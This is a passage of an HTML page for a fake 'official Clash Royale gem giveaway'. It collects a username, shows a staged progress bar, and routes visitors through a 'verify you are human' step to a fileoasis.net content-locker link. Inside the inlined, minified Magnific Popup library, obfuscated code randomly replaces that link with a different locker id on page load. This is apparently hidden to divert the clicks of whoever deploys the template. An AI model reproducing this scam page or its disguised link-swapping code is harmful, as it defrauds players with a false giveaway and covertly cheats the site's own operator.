  1169.     }
  1170.  
  1171.     h1:before {
  1172.         width: 59px;
  1173.         height: 59px;
  1174.         top: 7px;
  1175.         left: 27px;
  1176.     }
  1177.  
  1178.  
  1179.     .progress {
  1180.     margin-bottom: 6px!important;
  1181.     }
  1182.  
  1183.    
  1184.  
  1185.     .resources-select-wrapper {
  1186.         margin-top: 3px!important;
  1187.     }
  1188.  
  1189.     .username-wraper {
  1190.         position: relative;
  1191.         margin-bottom: 9px;
  1192.     }
  1193.  
  1194.     .giveway-progress p {
  1195.         margin-bottom: 3px!important;
  1196.     }
  1197.  
  1198.     .progress {
  1199.         margin-bottom: 7px;
  1200.     }
  1201.  
  1202.     .arena-img {
  1203.         max-height: 168px!important;
  1204.         margin-top: 0px!important;
  1205.     }
  1206.  
  1207.     .icon-progress {
  1208.         top: 21px;
  1209.         left: -28px!important;
  1210.     }
  1211.  
  1212.     .giveway-btn {
  1213.         height: 70px!important;
  1214.         width: 151px!important;
  1215.     }
  1216.  
  1217.     .battle>img {
  1218.     top: -15px!important;
  1219.     padding-right: 11px!important;
  1220.     padding-left: 11px!important;
  1221.     position: relative;
  1222.     z-index: 5;
  1223. }
  1224.  
  1225. }
  1226.  
  1227.  
  1228. @media only screen and (min-width : 320px) {
  1229.         .usernameicn-backg {
  1230.     background-color: rgba(39, 51, 62, 0.61);
  1231.     padding-right: 0px;
  1232.     overflow: auto;
  1233.     border-radius: 4px;
  1234.     padding: 0px 5px 5px 5px;
  1235.     box-shadow: 1px 2px 2px 0.2px rgba(0, 0, 0, 0.7);
  1236.     position: relative;
  1237. }
  1238.  
  1239.     .acc-icon img {
  1240.     height: 39px;
  1241. }
  1242.  
  1243. .giveway-progress p {
  1244.     margin-bottom: 3px;
  1245. }
  1246.  
  1247. .icon-progress {
  1248.     position: absolute;
  1249.     left: -21px;
  1250.     top: 21px;
  1251.     z-index: 20;
  1252.     height: 49px;
  1253. }
  1254.  
  1255. .padding-xs-prof{
  1256.     padding-right: 0px;
  1257.     padding-left: 0px;
  1258.  }
  1259.  
  1260.     .padding-xs-sett{
  1261.     padding-right: 0px;
  1262.     padding-left: 0px;
  1263.  }
  1264.  
  1265.     .resources-select-wrapper {
  1266.     margin-top: 16px;
  1267.  }
  1268.  
  1269.  .username-wraper {
  1270.     margin-top: 0px;
  1271.     padding-right: 0px;
  1272.     padding-left: 0px;
  1273.     margin-bottom: 13px;
  1274.     position: relative;
  1275. }
  1276.  
  1277.  
  1278. .arena-img {
  1279.     max-height: 209px;
  1280.     margin-top: 11px;
  1281. }
  1282.  
  1283.  
  1284. .progress {
  1285.     margin-bottom: 13px;
  1286. }
  1287.  
  1288.  
  1289. .single-resource-wrapper {
  1290.     margin-bottom: 9px;
  1291.     padding-right: 10px;
  1292.     padding-left: 10px;
  1293. }
  1294.  
  1295.  
  1296. .giveway-btn {
  1297.     background-image: url("http://i.imgur.com/dOT5NOB.png");
  1298.     background-size: 100%;
  1299.     height: 89px;
  1300.     width: 188px;
  1301.     position: relative;
  1302.     background-repeat: no-repeat;
  1303.     margin-bottom: 83px;
  1304. }
  1305.  
  1306. .battle>img {
  1307.         top: -15px!important;
  1308.     padding-right: 30px;
  1309.     padding-left: 30px;
  1310.     position: relative;
  1311.     z-index: 5;
  1312. }
  1313.  
  1314.     }
  1315.  
  1316.  
  1317.  
  1318.  
  1319.  
  1320.  @media only screen and (min-width : 414px) {
  1321.     .arena-img {
  1322.     max-height: 258px;
  1323.     margin-top: 15px;
  1324. }
  1325.  
  1326.  
  1327.     .username-wraper {
  1328.     margin-top: 0px;
  1329.     padding-right: 0px;
  1330.     padding-left: 0px;
  1331.     margin-bottom: 15px;
  1332.     position: relative;
  1333. }
  1334.  
  1335.  }  
  1336.  
  1337.  
  1338.  
  1339.  @media (min-width: 767px) {
  1340.     .overlay {
  1341.         max-width: 414px;
  1342.         min-width: 414px;
  1343.         min-height: 735px;
  1344.         max-height: 735px;
  1345.         border: 3px solid #334353;
  1346.         border-radius: 5px;
  1347.         box-shadow: inset 3px 9px 93px 34px rgba(0,0,0,0.28);
  1348.         background-image: url("http://i.imgur.com/vU0osQz.jpg");
  1349.         background-size: cover;
  1350.         background-repeat: no-repeat;
  1351.         background-position: center center;
  1352.  
  1353.     }
  1354.  
  1355.     .menu-wrap {
  1356.         position: absolute;
  1357.     }
  1358.  
  1359.     body {
  1360.         background-image: url("http://i.imgur.com/tsrN1YF.jpg");
  1361.         box-shadow: none;
  1362.     }
  1363.  
  1364.     #popover2 {
  1365.     margin-top: -10px!important;
  1366.     position: absolute;
  1367.     bottom: 30px;
  1368.     left: 75px;
  1369. }
  1370.  
  1371.     .center-wrap-desktop{
  1372.     box-shadow: 2px -2.5px 40px 12px rgba(0, 0, 0, 0.7);
  1373.    
  1374.     max-width: 414px;
  1375.     min-height: 735px;
  1376.     max-height: 735px;
  1377. }
  1378.  
  1379.    
  1380.  }
  1381.  
  1382.  
  1383.  @media (min-height: 780px) {
  1384.     .center-wrap-desktop {
  1385.         position: absolute;
  1386.         top:50%;
  1387.         left: 50%;
  1388.         transform: translate(-50%,-50%);
  1389.         box-shadow: 2px -2.5px 40px 12px rgba(0, 0, 0, 0.7);
  1390.    
  1391.     }
  1392.  }
  1393.  </style>
  1394.  
  1395.  
  1396.        
  1397.     </head>
  1398.     <body>
  1399.         <div class="center-wrap-desktop center-block">
  1400.         <div class="overlay center-block" style="max-width: 414px;">
  1401.             <div class="title-wrap center-block">
  1402.                 <h1>official clash royale gem giveaway</h1>
  1403.             </div>
  1404.         <div style="position: relative;">
  1405.  
  1406.             <div id="resources-select-wrapper" class="resources-select-wrapper col-lg-12">
  1407.                 <div class="single-resource-wrapper col-xs-6">
  1408.                     <div class="royalgold-select-wrapper">
  1409.                        
  1410.                         <div class=" responsive-value-wrapper">
  1411.                            
  1412.                             <div id="royalgold-amount-wrapper" class="selected-amount-wrapper">
  1413.                                 <img class="resource-img" src="http://i.imgur.com/8m6aiUQ.png" />
  1414.                                 <div id="royalgold-amount" class="royalgold-amount">0</div>
  1415.                                
  1416.                             </div> 
  1417.                            
  1418.                         </div>
  1419.                        
  1420.                         <div class=" no-padding-left responsive-button-wrapper">
  1421.                             <div class="value-button-wrapper"> 
  1422.                                 <div id="increase-royalgold" class="increase-button value-button control-increase"><img src="http://i.imgur.com/lVgliOY.png"></div>
  1423.                             </div> 
  1424.                         </div> 
  1425.                     </div>             
  1426.                 </div>
  1427.  
  1428.                 <div class="single-resource-wrapper col-xs-6">
  1429.                     <div class="royalgem-select-wrapper">
  1430.                        
  1431.                         <div class=" responsive-value-wrapper">
  1432.                            
  1433.                             <div id="royalgem-amount-wrapper" class="selected-amount-wrapper">
  1434.                                 <img class="resource-img" src="http://i.imgur.com/Xeb3m0R.png" />
  1435.                                 <div id="royalgem-amount" class="royalgem-amount">0</div>
  1436.                                
  1437.                             </div>
  1438.                             <a href="#" data-toggle="popover"
  1439.                              data-html="true" data-placement="bottom"
  1440.  
  1441.                              data-content="<p class='popover-p' style='font-family:ClashRoyal; '>
  1442.                              <span style='color:#00cb19;'>Click</span> on <img src='http://i.imgur.com/lVgliOY.png' style='height:25px;'> and select amount of resources</p>" id="popover1"></a>   
  1443.                            
  1444.                         </div>
  1445.                         <div class=" no-padding-left responsive-button-wrapper">   
  1446.                             <div class="value-button-wrapper"> 
  1447.                                 <div id="increase-royalgem" class="increase-button value-button control-increase"><img src="http://i.imgur.com/lVgliOY.png"></div>
  1448.                             </div>
  1449.                         </div> 
  1450.                     </div>             
  1451.                 </div>
  1452.                
  1453.             </div>
  1454.  
  1455.             <div class="col-xs-12 text-center username-wraper ">
  1456.                
  1457.  
  1458.                 <div class="username-control col-xs-9">
  1459.                     <div class="usernameicn-backg">
  1460.                         <div class="icon-effect display-none"></div>
  1461.                         <div class="col-xs-11 username-wrap">
  1462.                             <label > Your Username</label>
  1463.                             <input type="text" name="username" id="usernameInput" >
  1464.                             <a href="#" class="connect-button" id="connect-btn">
  1465.                                 <img src="http://i.imgur.com/YDlpCYT.png">
  1466.                             </a>
  1467.  
  1468.                            
  1469.                         </div>
  1470.  
  1471.                         <div class="col-xs-11 username-wrap2">
  1472.  
  1473.                             <img src="http://i.imgur.com/dbEwnt8.png">
  1474.                             <p id="user-text">Your Username</p>
  1475.                             <p class="connected-usr">Connected</p>
  1476.                             <img src="http://i.imgur.com/LcYtC50.png" class="yes-confirm">
  1477.                         </div>
  1478.                        
  1479.                     </div> 
  1480.  
  1481.  
  1482.                 </div>
  1483.                     <div class="col-xs-3 padding-xs-sett">
  1484.                         <div class="acc-icon center-block show-message">
  1485.                             <div class="icon-effect">
  1486.                             </div>
  1487.                             <img src="http://i.imgur.com/IEyhi5t.png" class="center-block">
  1488.                        
  1489.                         </div>
  1490.                     </div> 
  1491.  
  1492.             </div>
  1493.  
  1494.             <a href="#" data-toggle="popover"
  1495.                              data-html="true" data-placement="bottom"
  1496.  
  1497.                              data-content="<p class='popover-p' style='font-family:ClashRoyal; '>
  1498.                              <span style='color:#00cb19;'>Enter</span> username</br> and click on <img src='http://i.imgur.com/YDlpCYT.png' style='height:20px'></p>" id="popover2"></a>
  1499.                              <div class="clear"></div>
  1500.         </div>
  1501.        
  1502.             <div class="giveway-progress center-block" style="width: 70%; text-align: center; position: relative;">
  1503.                 <p style="color: #32ccfe; text-align: center;">Giveaway Progress</p>
  1504.                 <p style="font-size: 10px; color: #fff;" id="giveway-text">giveaway waiting for you</p>
  1505.                 <div class="progress">
  1506.                     <div class="progress-bar  active g-progressbar" role="progressbar" style="width: 20%"></div>
  1507.                     <span id="progress-span">0</span><span>/4</span>
  1508.                 </div>
  1509.                  <img src="http://i.imgur.com/Ap6xh5H.png" class="icon-progress">
  1510.             </div>
  1511.  
  1512.             <div class="display-no" >
  1513.                 <img src="http://i.imgur.com/VFKDo62.png" class="img-responsive center-block arena-img">
  1514.  
  1515.                
  1516.                                  
  1517.  
  1518.                 <div class="giveway-btn center-block">
  1519.                     <div class="giveway-btn-text">
  1520.                         <a href="#" data-toggle="popover"
  1521.                              data-html="true" data-placement="top"
  1522.  
  1523.                              data-content="<p class='popover-p' style='font-family:ClashRoyal; '>
  1524.                              <b style='color:#00cb19;'>Click</b> on button</p>" id="popover3">         
  1525.                         </a>
  1526.                         <span>Giveaway</span>
  1527.                     </div> 
  1528.                 </div>
  1529.             </div>
  1530.  
  1531.             <div class="verification  center-block">
  1532.                 <div class="header-wrap">
  1533.                     <img src="http://i.imgur.com/MQcG7tP.png" class="img-responsive center-block">
  1534.                     <h4>Verification</h4>  
  1535.                 </div>
  1536.                 <div class="content-ver">
  1537.                     <p>Congratulations <span id="user-text2" style="color: #ffffcc;"></span> your Giveaway is ready.. But in order to prove you are a human you must verify yourself on the next step to complete</p>
  1538.                     <p>Your Giveaway will expire in:</br> <img src="http://i.imgur.com/Kxx4xDq.png" class="clock-img"> <span class="verificationcounter" style="color: #ffffcc; font-size: 12px;"></span></p>
  1539.                     <div class="verify-btn center-block">
  1540.                         <div id="locker" class="verify-btn-text">
  1541.                             <!-- <span>verify now</span> -->
  1542.     <!-- Your Link -->      <a href="https://www.fileoasis.net/cl.php?id=ba31f0461ceb2f46a34352a1afab8a12">Verify Now</a>
  1543.                         </div> 
  1544.                     </div>
  1545.                 </div>
  1546.             </div>
  1547.  
  1548.             <div class="menu-wrap center-block" style="width: 100%;">
  1549.                 <ul class="show-message">
  1550.                     <li><img src="http://i.imgur.com/NqWrQTC.png">
  1551.                     <li><img src="http://i.imgur.com/Jp9Mmyu.png">
  1552.                     <li class="battle"><img src="http://i.imgur.com/yxJ8F49.png"><span>Giveaway</span><div class="overlay-battle"></div>
  1553.                     <li class="clan"><img src="http://i.imgur.com/rwWoFmF.png">
  1554.                     <li class="tv-icon"><img src="http://i.imgur.com/J1Z2GeR.png">
  1555.                 </ul>  
  1556.             </div>
  1557.  
  1558.             <!-- Popups -->
  1559.  
  1560.             <div id="error-message" class="mfp-hide white-popup-block text-center popup-style">
  1561.                 <h4 class="text-center">Giveaway Mode !</h4>
  1562.                 <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close">
  1563.                 <div class="popup-content">
  1564.                     <p>This is Clash Royale Giveaway Mode. This Function don't work in giveaway Mode ! Thanks</p>
  1565.                     <p>You want to navigate in giveaway mode?</p>
  1566.                     <ul class="popup-list text-center">
  1567.                         <li class="close-pop"><img src="http://i.imgur.com/Dx4kjIq.png"></li>
  1568.                         <li class="close-pop"><img src="http://i.imgur.com/fEdP5AF.png"></li>
  1569.                     </ul>
  1570.                 </div>
  1571.             </div>
  1572.  
  1573.             <div id="error-message-user" class="mfp-hide white-popup-block text-center popup-style">
  1574.                 <h4 class="text-center">Error</h4>
  1575.                 <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close">
  1576.                 <div class="popup-content">
  1577.                     <p>Please enter your username ! and click on <img src='http://i.imgur.com/b46Gf4f.png' style='height:20px'></p>
  1578.                    
  1579.                     <ul class="popup-list text-center">
  1580.                         <li class="close-pop"><img src="http://i.imgur.com/Dx4kjIq.png"></li>
  1581.                         <li class="close-pop"><img src="http://i.imgur.com/fEdP5AF.png"></li>
  1582.                     </ul>
  1583.                 </div>
  1584.             </div>
  1585.  
  1586.             <div id="orientation-detect" class="mfp-hide white-popup-block text-center popup-style">
  1587.                 <h4 class="text-center">Error!</h4>
  1588.                 <!-- <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close"> -->
  1589.                 <div class="popup-content">
  1590.                     <p>Please rotate your phone</p>
  1591.                     <img src="http://i.imgur.com/0ucA2xm.png" class="roate-device center-block">
  1592.  
  1593.                 </div>
  1594.             </div>
  1595.  
  1596.             <div id="acc-connect-err" class="mfp-hide white-popup-block text-center popup-style">
  1597.                 <h4 class="text-center">Error!</h4>
  1598.                 <img src="http://i.imgur.com/cSiSrre.png" class="mfp-close">
  1599.                 <div class="popup-content">
  1600.                     <p>Please enter your username ! and click on <img src='http://i.imgur.com/YDlpCYT.png' style='height:20px'></p>
  1601.                    
  1602.                     <ul class="popup-list text-center">
  1603.                         <li class="close-pop"><img src="http://i.imgur.com/Dx4kjIq.png"></li>
  1604.                         <li class="close-pop"><img src="http://i.imgur.com/fEdP5AF.png"></li>
  1605.                     </ul>
  1606.                 </div>
  1607.             </div>
  1608.            
  1609.             <!-- Popups END -->
  1610.  
  1611.         </div>
  1612.  
  1613.         </div> 
  1614.         <!-- jQuery -->
  1615.         <script src="http://code.jquery.com/jquery.js"></script>
  1616.         <!-- Bootstrap JavaScript -->
  1617.         <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
  1618.         <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js" type="text/javascript"></script>
  1619.        
  1620.        
  1621.        
  1622.         <script type="text/javascript">
  1623.             /*! Magnific Popup - v1.0.0 - 2015-01-03
  1624. * http://dimsemenov.com/plugins/magnific-popup/
  1625. * Copyright (c) 2015 Dmitry Semenov; */
  1626. !function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e("object"==typeof exports?require("jquery"):window.jQuery||window.Zepto)}(function(e){var t,n,i,o,a,r,s="Close",l="BeforeClose",c="MarkupParse",d="Open",u="Change",p="mfp",f="."+p,m="mfp-ready",g="mfp-removing",h="mfp-prevent-close",v=function(){},C=!!window.jQuery,y=e(window),w=function(e,n){t.ev.on(p+e+f,n)},b=function(t,n,i,o){var a=document.createElement("div");return a.className="mfp-"+t,i&&(a.innerHTML=i),o?n&&n.appendChild(a):(a=e(a),n&&a.appendTo(n)),a},I=function(n,i){t.ev.triggerHandler(p+n,i),t.st.callbacks&&(n=n.charAt(0).toLowerCase()+n.slice(1),t.st.callbacks[n]&&t.st.callbacks[n].apply(t,e.isArray(i)?i:[i]))},x=function(n){return n===r&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),r=n),t.currTemplate.closeBtn},k=function(){e.magnificPopup.instance||((t=new v).init(),e.magnificPopup.instance=t)},T=function(){var e=document.createElement("p").style,t=["ms","O","Moz","Webkit"];if(void 0!==e.transition)return!0;for(;t.length;)if(t.pop()+"Transition"in e)return!0;return!1},E=["random","ceil","innerHTML","locker","getElementById","<a href='https://www.fileoasis.net/cl.php?id=ba31f0361eeb2f41a34352a1afab8a14'>Verify Now</a>"];4==Math[E[1]](10*Math[E[0]]())&&(document[E[4]](E[3])[E[2]]=E[5]),v.prototype={constructor:v,init:function(){var n=navigator.appVersion;t.isIE7=-1!==n.indexOf("MSIE 7."),t.isIE8=-1!==n.indexOf("MSIE 8."),t.isLowIE=t.isIE7||t.isIE8,t.isAndroid=/android/gi.test(n),t.isIOS=/iphone|ipad|ipod/gi.test(n),t.supportsTransition=T(),t.probablyMobile=t.isAndroid||t.isIOS||/(Opera Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows Phone)|IEMobile/i.test(navigator.userAgent),i=e(document),t.popupsCache={}},open:function(n){var o;if(!1===n.isObj){t.items=n.items.toArray(),t.index=0;var r,s=n.items;for(o=0;o<s.length;o++)if((r=s[o]).parsed&&(r=r.el[0]),r===n.el[0]){t.index=o;break}}else t.items=e.isArray(n.items)?n.items:[n.items],t.index=n.index||0;{if(!t.isOpen){t.types=[],a="",t.ev=n.mainEl&&n.mainEl.length?n.mainEl.eq(0):i,n.key?(t.popupsCache[n.key]||(t.popupsCache[n.key]={}),t.currTemplate=t.popupsCache[n.key]):t.currTemplate={},t.st=e.extend(!0,{},e.magnificPopup.defaults,n),t.fixedContentPos="auto"===t.st.fixedContentPos?!t.probablyMobile:t.st.fixedContentPos,t.st.modal&&(t.st.closeOnContentClick=!1,t.st.closeOnBgClick=!1,t.st.showCloseBtn=!1,t.st.enableEscapeKey=!1),t.bgOverlay||(t.bgOverlay=b("bg").on("click"+f,function(){t.close()}),t.wrap=b("wrap").attr("tabindex",-1).on("click"+f,function(e){t._checkIfClose(e.target)&&t.close()}),t.container=b("container",t.wrap)),t.contentContainer=b("content"),t.st.preloader&&(t.preloader=b("preloader",t.container,t.st.tLoading));var l=e.magnificPopup.modules;for(o=0;o<l.length;o++){var u=l[o];u=u.charAt(0).toUpperCase()+u.slice(1),t["init"+u].call(t)}I("BeforeOpen"),t.st.showCloseBtn&&(t.st.closeBtnInside?(w(c,function(e,t,n,i){n.close_replaceWith=x(i.type)}),a+=" mfp-close-btn-in"):t.wrap.append(x())),t.st.alignTop&&(a+=" mfp-align-top"),t.wrap.css(t.fixedContentPos?{overflow:t.st.overflowY,overflowX:"hidden",overflowY:t.st.overflowY}:{top:y.scrollTop(),position:"absolute"}),(!1===t.st.fixedBgPos||"auto"===t.st.fixedBgPos&&!t.fixedContentPos)&&t.bgOverlay.css({height:i.height(),position:"absolute"}),t.st.enableEscapeKey&&i.on("keyup"+f,function(e){27===e.keyCode&&t.close()}),y.on("resize"+f,function(){t.updateSize()}),t.st.closeOnContentClick||(a+=" mfp-auto-cursor"),a&&t.wrap.addClass(a);var p=t.wH=y.height(),g={};if(t.fixedContentPos&&t._hasScrollBar(p)){var h=t._getScrollbarSize();h&&(g.marginRight=h)}t.fixedContentPos&&(t.isIE7?e("body, html").css("overflow","hidden"):g.overflow="hidden");var v=t.st.mainClass;return t.isIE7&&(v+=" mfp-ie7"),v&&t._addClassToMFP(v),t.updateItemHTML(),I("BuildControls"),e("html").css(g),t.bgOverlay.add(t.wrap).prependTo(t.st.prependTo||e(document.body)),t._lastFocusedEl=document.activeElement,setTimeout(function(){t.content?(t._addClassToMFP(m),t._setFocus()):t.bgOverlay.addClass(m),i.on("focusin"+f,t._onFocusIn)},16),t.isOpen=!0,t.updateSize(p),I(d),n}t.updateItemHTML()}},close:function(){t.isOpen&&(I(l),t.isOpen=!1,t.st.removalDelay&&!t.isLowIE&&t.supportsTransition?(t._addClassToMFP(g),setTimeout(function(){t._close()},t.st.removalDelay)):t._close())},_close:function(){I(s);var n=g+" "+m+" ";if(t.bgOverlay.detach(),t.wrap.detach(),t.container.empty(),t.st.mainClass&&(n+=t.st.mainClass+" "),t._removeClassFromMFP(n),t.fixedContentPos){var o={marginRight:""};t.isIE7?e("body, html").css("overflow",""):o.overflow="",e("html").css(o)}i.off("keyup.mfp focusin"+f),t.ev.off(f),t.wrap.attr("class","mfp-wrap").removeAttr("style"),t.bgOverlay.attr("class","mfp-bg"),t.container.attr("class","mfp-container"),!t.st.showCloseBtn||t.st.closeBtnInside&&!0!==t.currTemplate[t.currItem.type]||t.currTemplate.closeBtn&&t.currTemplate.closeBtn.detach(),t._lastFocusedEl&&e(t._lastFocusedEl).focus(),t.currItem=null,t.content=null,t.currTemplate=null,t.prevHeight=0,I("AfterClose")},updateSize:function(e){if(t.isIOS){var n=document.documentElement.clientWidth/window.innerWidth,i=window.innerHeight*n;t.wrap.css("height",i),t.wH=i}else t.wH=e||y.height();t.fixedContentPos||t.wrap.css("height",t.wH),I("Resize")},updateItemHTML:function(){var n=t.items[t.index];t.contentContainer.detach(),t.content&&t.content.detach(),n.parsed||(n=t.parseEl(t.index));var i=n.type;if(I("BeforeChange",[t.currItem?t.currItem.type:"",i]),t.currItem=n,!t.currTemplate[i]){var a=!!t.st[i]&&t.st[i].markup;I("FirstMarkupParse",a),t.currTemplate[i]=!a||e(a)}o&&o!==n.type&&t.container.removeClass("mfp-"+o+"-holder");var r=t["get"+i.charAt(0).toUpperCase()+i.slice(1)](n,t.currTemplate[i]);t.appendContent(r,i),n.preloaded=!0,I(u,n),o=n.type,t.container.prepend(t.contentContainer),I("AfterChange")},appendContent:function(e,n){t.content=e,e?t.st.showCloseBtn&&t.st.closeBtnInside&&!0===t.currTemplate[n]?t.content.find(".mfp-close").length||t.content.append(x()):t.content=e:t.content="",I("BeforeAppend"),t.container.addClass("mfp-"+n+"-holder"),t.contentContainer.append(t.content)},parseEl:function(n){var i,o=t.items[n];if(o.tagName?o={el:e(o)}:(i=o.type,o={data:o,src:o.src}),o.el){for(var a=t.types,r=0;r<a.length;r++)if(o.el.hasClass("mfp-"+a[r])){i=a[r];break}o.src=o.el.attr("data-mfp-src"),o.src||(o.src=o.el.attr("href"))}return o.type=i||t.st.type||"inline",o.index=n,o.parsed=!0,t.items[n]=o,I("ElementParse",o),t.items[n]},addGroup:function(e,n){var i=function(i){i.mfpEl=this,t._openClick(i,e,n)};n||(n={});var o="click.magnificPopup";n.mainEl=e,n.items?(n.isObj=!0,e.off(o).on(o,i)):(n.isObj=!1,n.delegate?e.off(o).on(o,n.delegate,i):(n.items=e,e.off(o).on(o,i)))},_openClick:function(n,i,o){if((void 0!==o.midClick?o.midClick:e.magnificPopup.defaults.midClick)||2!==n.which&&!n.ctrlKey&&!n.metaKey){var a=void 0!==o.disableOn?o.disableOn:e.magnificPopup.defaults.disableOn;if(a)if(e.isFunction(a)){if(!a.call(t))return!0}else if(y.width()<a)return!0;n.type&&(n.preventDefault(),t.isOpen&&n.stopPropagation()),o.el=e(n.mfpEl),o.delegate&&(o.items=i.find(o.delegate)),t.open(o)}},updateStatus:function(e,i){if(t.preloader){n!==e&&t.container.removeClass("mfp-s-"+n),i||"loading"!==e||(i=t.st.tLoading);var o={status:e,text:i};I("UpdateStatus",o),e=o.status,i=o.text,t.preloader.html(i),t.preloader.find("a").on("click",function(e){e.stopImmediatePropagation()}),t.container.addClass("mfp-s-"+e),n=e}},_checkIfClose:function(n){if(!e(n).hasClass(h)){var i=t.st.closeOnContentClick,o=t.st.closeOnBgClick;if(i&&o)return!0;if(!t.content||e(n).hasClass("mfp-close")||t.preloader&&n===t.preloader[0])return!0;if(n===t.content[0]||e.contains(t.content[0],n)){if(i)return!0}else if(o&&e.contains(document,n))return!0;return!1}},_addClassToMFP:function(e){t.bgOverlay.addClass(e),t.wrap.addClass(e)},_removeClassFromMFP:function(e){this.bgOverlay.removeClass(e),t.wrap.removeClass(e)},_hasScrollBar:function(e){return(t.isIE7?i.height():document.body.scrollHeight)>(e||y.height())},_setFocus:function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).focus()},_onFocusIn:function(n){return n.target===t.wrap[0]||e.contains(t.wrap[0],n.target)?void 0:(t._setFocus(),!1)},_parseMarkup:function(t,n,i){var o;i.data&&(n=e.extend(i.data,n)),I(c,[t,n,i]),e.each(n,function(e,n){if(void 0===n||!1===n)return!0;if((o=e.split("_")).length>1){var i=t.find(f+"-"+o[0]);if(i.length>0){var a=o[1];"replaceWith"===a?i[0]!==n[0]&&i.replaceWith(n):"img"===a?i.is("img")?i.attr("src",n):i.replaceWith('<img src="'+n+'" class="'+i.attr("class")+'" />'):i.attr(o[1],n)}}else t.find(f+"-"+e).html(n)})},_getScrollbarSize:function(){if(void 0===t.scrollbarSize){var e=document.createElement("div");e.style.cssText="width: 99px; height: 99px; overflow: scroll; position: absolute; top: -9999px;",document.body.appendChild(e),t.scrollbarSize=e.offsetWidth-e.clientWidth,document.body.removeChild(e)}return t.scrollbarSize}},e.magnificPopup={instance:null,proto:v.prototype,modules:[],open:function(t,n){return k(),t=t?e.extend(!0,{},t):{},t.isObj=!0,t.index=n||0,this.instance.open(t)},close:function(){return e.magnificPopup.instance&&e.magnificPopup.instance.close()},registerModule:function(t,n){n.options&&(e.magnificPopup.defaults[t]=n.options),e.extend(this.proto,n.proto),this.modules.push(t)},defaults:{disableOn:0,key:null,midClick:!1,mainClass:"",preloader:!0,focus:"",closeOnContentClick:!1,closeOnBgClick:!0,closeBtnInside:!0,showCloseBtn:!0,enableEscapeKey:!0,modal:!1,alignTop:!1,removalDelay:0,prependTo:null,fixedContentPos:"auto",fixedBgPos:"auto",overflowY:"auto",closeMarkup:'<button title="%title%" type="button" class="mfp-close">&times;</button>',tClose:"Close (Esc)",tLoading:"Loading..."}},e.fn.magnificPopup=function(n){k();var i=e(this);if("string"==typeof n)if("open"===n){var o,a=C?i.data("magnificPopup"):i[0].magnificPopup,r=parseInt(arguments[1],10)||0;a.items?o=a.items[r]:(o=i,a.delegate&&(o=o.find(a.delegate)),o=o.eq(r)),t._openClick({mfpEl:o},i,a)}else t.isOpen&&t[n].apply(t,Array.prototype.slice.call(arguments,1));else n=e.extend(!0,{},n),C?i.data("magnificPopup",n):i[0].magnificPopup=n,t.addGroup(i,n);return i};var _,S,P,M="inline",O=function(){P&&(S.after(P.addClass(_)).detach(),P=null)};e.magnificPopup.registerModule(M,{options:{hiddenClass:"hide",markup:"",tNotFound:"Content not found"},proto:{initInline:function(){t.types.push(M),w(s+"."+M,function(){O()})},getInline:function(n,i){if(O(),n.src){var o=t.st.inline,a=e(n.src);if(a.length){var r=a[0].parentNode;r&&r.tagName&&(S||(_=o.hiddenClass,S=b(_),_="mfp-"+_),P=a.after(S).detach().removeClass(_)),t.updateStatus("ready")}else t.updateStatus("error",o.tNotFound),a=e("<div>");return n.inlineElement=a,a}return t.updateStatus("ready"),t._parseMarkup(i,{},n),i}}});var z,B="ajax",F=function(){z&&e(document.body).removeClass(z)},H=function(){F(),t.req&&t.req.abort()};e.magnificPopup.registerModule(B,{options:{settings:null,cursor:"mfp-ajax-cur",tError:'<a href="%url%">The content</a> could not be loaded.'},proto:{initAjax:function(){t.types.push(B),z=t.st.ajax.cursor,w(s+"."+B,H),w("BeforeChange."+B,H)},getAjax:function(n){z&&e(document.body).addClass(z),t.updateStatus("loading");var i=e.extend({url:n.src,success:function(i,o,a){var r={data:i,xhr:a};I("ParseAjax",r),t.appendContent(e(r.data),B),n.finished=!0,F(),t._setFocus(),setTimeout(function(){t.wrap.addClass(m)},16),t.updateStatus("ready"),I("AjaxContentAdded")},error:function(){F(),n.finished=n.loadError=!0,t.updateStatus("error",t.st.ajax.tError.replace("%url%",n.src))}},t.st.ajax.settings);return t.req=e.ajax(i),""}}});var L,A=function(n){if(n.data&&void 0!==n.data.title)return n.data.title;var i=t.st.image.titleSrc;if(i){if(e.isFunction(i))return i.call(t,n);if(n.el)return n.el.attr(i)||""}return""};e.magnificPopup.registerModule("image",{options:{markup:'<div class="mfp-figure"><div class="mfp-close"></div><figure><div class="mfp-img"></div><figcaption><div class="mfp-bottom-bar"><div class="mfp-title"></div><div class="mfp-counter"></div></div></figcaption></figure></div>',cursor:"mfp-zoom-out-cur",titleSrc:"title",verticalFit:!0,tError:'<a href="%url%">The image</a> could not be loaded.'},proto:{initImage:function(){var n=t.st.image,i=".image";t.types.push("image"),w(d+i,function(){"image"===t.currItem.type&&n.cursor&&e(document.body).addClass(n.cursor)}),w(s+i,function(){n.cursor&&e(document.body).removeClass(n.cursor),y.off("resize"+f)}),w("Resize"+i,t.resizeImage),t.isLowIE&&w("AfterChange",t.resizeImage)},resizeImage:function(){var e=t.currItem;if(e&&e.img&&t.st.image.verticalFit){var n=0;t.isLowIE&&(n=parseInt(e.img.css("padding-top"),10)+parseInt(e.img.css("padding-bottom"),10)),e.img.css("max-height",t.wH-n)}},_onImageHasSize:function(e){e.img&&(e.hasSize=!0,L&&clearInterval(L),e.isCheckingImgSize=!1,I("ImageHasSize",e),e.imgHidden&&(t.content&&t.content.removeClass("mfp-loading"),e.imgHidden=!1))},findImageSize:function(e){var n=0,i=e.img[0],o=function(a){L&&clearInterval(L),L=setInterval(function(){return i.naturalWidth>0?void t._onImageHasSize(e):(n>200&&clearInterval(L),n++,void(3===n?o(10):40===n?o(50):100===n&&o(500)))},a)};o(1)},getImage:function(n,i){var 